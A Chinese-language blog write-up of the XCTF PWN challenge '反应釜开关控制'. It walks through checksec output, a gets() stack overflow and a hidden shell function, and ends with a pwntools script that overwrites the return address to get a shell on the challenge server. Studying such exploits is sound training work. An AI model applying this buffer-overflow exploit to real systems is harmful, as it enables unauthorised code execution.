共计 639 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-27 10:45,文中所关联的信息可能已发生改变,请知悉!
XCTF-PWN- 反应釜开关控制
题目描述
小 M 在里一个私人矿厂中发现了一条 TNT 生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小 M 打算通过把反应釜关闭掉来干扰这条 TNT 生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。
WP
checksec
ubuntu@LAPTOP-V4AB5SPG:/mnt/d/me/CTF/xctf/fyfkgkz$ checksec ./fyfkgkz
[*] '/mnt/d/me/CTF/xctf/fyfkgkz/fyfkgkz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA
发现 gets
函数可以溢出,并且可以找到 shell
函数,如下图:
查看 v5 在栈中的情况:
需要 0x200+0x8
长度数据覆盖
下面是 shell
函数的地址:
EXP
from pwn import *
#p = process('fyfkgkz')
p = remote('111.200.241.244', 64915)
payload = (0x200 + 0x8) * b'a' + p64(0x4005F6)
p.recv()
p.sendline(payload)
p.interactive()
结果
正文完